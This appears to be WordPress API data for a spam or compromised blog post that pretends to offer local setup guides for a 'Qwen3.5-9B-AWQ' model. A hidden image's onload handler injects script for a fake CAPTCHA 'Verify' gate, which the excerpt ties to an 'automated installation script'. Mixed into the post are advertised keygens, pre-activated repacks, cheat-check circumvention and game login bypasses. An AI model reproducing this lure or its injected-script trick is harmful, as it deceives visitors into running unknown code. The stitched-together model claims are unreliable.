70px;text-align:center;font-size:28px;color:#0f172a;line-height:3;letter-spacing:-0.02em;font-weight:500;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#2E4053;font-family:'Helvetica Neue';\">\ud83d\udce1 Hash Check: c1d752d72d05be5d3ee5e655be7257f4 | \ud83d\udcc5 Last Update: 2026-06-24<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var 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\/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:30px;padding-left:25px;margin-left:0;\">\n<li><b>Processor:<\/b> 6-core <b>3.5 GHz<\/b> minimum required<\/li>\n<li><b>RAM:<\/b> enough space for <b>background apps<\/b> and OS overhead<\/li>\n<li><strong>Disk:<\/strong> 150+ GB for <strong>high-context vector<\/strong> database storage<\/li>\n<li><b>Graphics:<\/b> CUDA Compute Capability 8.0+ <b>required for flash-attention<\/b><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>Qwen3.5-9B-AWQ<\/b> is a <b>9\u2011billion parameter<\/b> language model designed for balanced performance and inference efficiency. It leverages <b>Activation\u2011aware Quantization (AWQ)<\/b> to reduce memory footprint while preserving <i>high accuracy<\/i> on a wide range of tasks. The model supports an extended <b>context length of 8K tokens<\/b>, enabling it to handle longer documents and complex reasoning chains. Trained on diverse multilingual data, it excels in <i>code generation<\/i>, dialogue, and factual QA across multiple languages. A compact yet powerful option for developers who need <i>fast inference<\/i> on consumer\u2011grade hardware. Key technical specifications are summarized below:  <\/p>\n<table>\n<tr>\n<th>Spec<\/th>\n<td>Value<\/td>\n<\/tr>\n<tr>\n<th>Parameters<\/th>\n<td>9\u202fB<\/td>\n<\/tr>\n<tr>\n<th>Quantization<\/th>\n<td>AWQ (4\u2011bit)<\/td>\n<\/tr>\n<tr>\n<th>Context Length<\/th>\n<td>8K tokens<\/td>\n<\/tr>\n<tr>\n<th>Primary Use\u2011cases<\/th>\n<td>Code, chat, QA<\/td>\n<\/tr>\n<\/table>\n<ol>\n<li>Download keygen supporting export to popular serial file formats<\/li>\n<li>Qwen3.5-9B-AWQ PC with NPU Uncensored Edition Local Guide<\/li>\n<li>Pre-activated repack installer with integrated day-one patch<\/li>\n<li>Deploy Qwen3.5-9B-AWQ with Native FP4 Easy Build<\/li>\n<li>Console layout input remapper allowing full mouse control for menu structures<\/li>\n<li>How to Setup Qwen3.5-9B-AWQ Locally (No Cloud) Local Guide FREE<\/li>\n<li>Co-op synchronization patch reducing input lag in peer-to-peer network play<\/li>\n<li>Qwen3.5-9B-AWQ Locally (No Cloud) Step-by-Step FREE<\/li>\n<li>Cheat validation routine circumvention for running custom UI modifications safely<\/li>\n<li>How to Deploy Qwen3.5-9B-AWQ on Your PC One-Click Setup No-Code Guide FREE<\/li>\n<li>Direct game executable bypass skipping mandatory publisher login services<\/li>\n<li>How to Deploy Qwen3.5-9B-AWQ Locally (No Cloud) FREE<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>The fastest method for installing this model locally is by using Docker. Follow the guidelines below to continue. The automated installation script takes care of everything by tailoring the setup perfectly to your system specs. \ud83d\udce1 Hash Check: c1d752d72d05be5d3ee5e655be7257f4 | \ud83d\udcc5 Last Update: 2026-06-24 Verify Processor: 6-core 3.5 GHz minimum required RAM: enough space for&hellip; <br \/> <a class=\"read-more\" href=\"https:\/\/asoani.org\/?p=3939\">Leer m\u00e1s<\/a><\/p>\n","protected":false},"author":5,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[84],"tags":[],"class_list":["post-3939","post","type-post","status-publish","format-standard","hentry","category-gguf"],"aioseo_notices":[],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/asoani.org\/index.php?rest_route=\/wp\/v2\/posts\/3939","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/asoani.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/asoani.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/asoani.org\/index.php?rest_route=\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/asoani.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3939"}],"version-history":[{"count":1,"href":"https:\/\/asoani.org\/index.php?rest_route=\/wp\/v2\/posts\/3939\/revisions"}],"predecessor-version":[{"id":3941,"href":"https:\/\/asoani.org\/index.php?rest_route=\/wp\/v2\/posts\/3939\/revisions\/3941"}],"wp:attachment":[{"href":"https:\/\/asoani.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3939"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/asoani.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3939"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/asoani.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3939"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}